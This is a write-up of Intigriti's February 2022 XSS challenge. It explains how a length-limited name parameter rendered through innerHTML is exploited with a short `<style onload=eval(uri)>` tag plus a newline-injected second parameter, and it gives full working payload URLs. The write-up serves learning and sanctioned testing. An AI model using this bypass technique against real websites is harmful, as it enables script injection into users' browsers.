Intigriti’s XSS Challenge (February 2022)
This is another round of @intigriti's XSS challenge, and this time it is written by @aszx87410. I spent around four hours solving it.
Challenge Summary⌗
We are given a form that allows us a create a character. We are allowed to
- choose a name (shorter than 24 characters), and
- inform if we have played the game.
We will be redirected to /challenge/xss.html?q=mystiz&first=yes
(if you are mystiz
who is not a first-timer to the game). A modal containing the name will be popped.
The Javascript code is pretty compact. The snipped code is contains the logic that shows a prompt:
window.name = 'XSS(eXtreme Short Scripting) Game'
function showModal(title, content) {
var titleDOM = document.querySelector('#main-modal h3')
var contentDOM = document.querySelector('#main-modal p')
titleDOM.innerHTML = title
contentDOM.innerHTML = content
window['main-modal'].classList.remove('hide')
}
// code for submit form omitted
if (location.href.includes('q=')) {
var uri = decodeURIComponent(location.href)
var qs = uri.split('&first=')[0].split('?q=')[1]
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}
Solution⌗
The content is rendered via innerHTML
inside showModal
. We know innerHTML
might lead to XSS and this is definitely something to be exploited.
function showModal(title, content) {
var titleDOM = document.querySelector('#main-modal h3')
var contentDOM = document.querySelector('#main-modal p')
titleDOM.innerHTML = title
contentDOM.innerHTML = content
window['main-modal'].classList.remove('hide')
}
If we send a name from the form, it is reflected on the q=
parameter and we are able to control content
in the showModel
function (as long as the length of the content
is not longer than 24 characters).
If we could set the name to <img src='x' onerror='alert(document.domain)'>
, then we are able to pop an alert. Unfortunately, the payload is 46-character long, which is almost twice the size limit.
We can observe from the below snippet that qs
(the name) is computed by extracting the string within ?q=
and &first=
from the decoded URL (via decodeURIComponent
). Also, the decoded URL is stored in a uri
variable.
if (location.href.includes('q=')) {
var uri = decodeURIComponent(location.href)
var qs = uri.split('&first=')[0].split('?q=')[1]
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}
uri
is ill-fortuned owing to the following reasons:
- it is declared via the
var
keyword, which is scoped globally (i.e., can be referenced everywhere), and - it is decoded via
decodeURIComponent
, which we will explain below.
Now we can shorten the code for the alert. Instead of alert(document.domain)
, we can use eval(uri)
... Only if the URI can be executed anyway. However, a normal-looking URI would raise the below error upon eval(uri)
:
Uncaught SyntaxError: expected expression, got end of script
This is because http://[WHATEVER]
is simply http:
with comments followed. We wish we could do something like http:alert(1)
. Luckily, http://[WHATEVER]%0Aalert(1)
is converted to the below uri
. This would trigger an alert when evaluated:
http://WHATEVER
alert(1)
Implementing this in the challenge webpage is simple. We will use the below URL:
https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cimg%20src=x%20onerror=eval(uri)%3E&first=%0Aalert(document.domain)
Then the variable uri
becomes
https://challenge-0222.intigriti.io/challenge/xss.html?q=<img src=x onerror=eval(uri)>&first=
alert(document.domain)
It is pretty good, except that it is 5 characters longer than the limit. I looked up on the HTML tags those support onload
and onerror
. I eventually found that style
supports onload
. By replacing <img src=x onerror=...>
to <style onload=...>
, the payload is barely 24 characters long. Thus we have the final payload:
https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cstyle%20onload=eval(uri)%3E&first=%0Aalert(document.domain)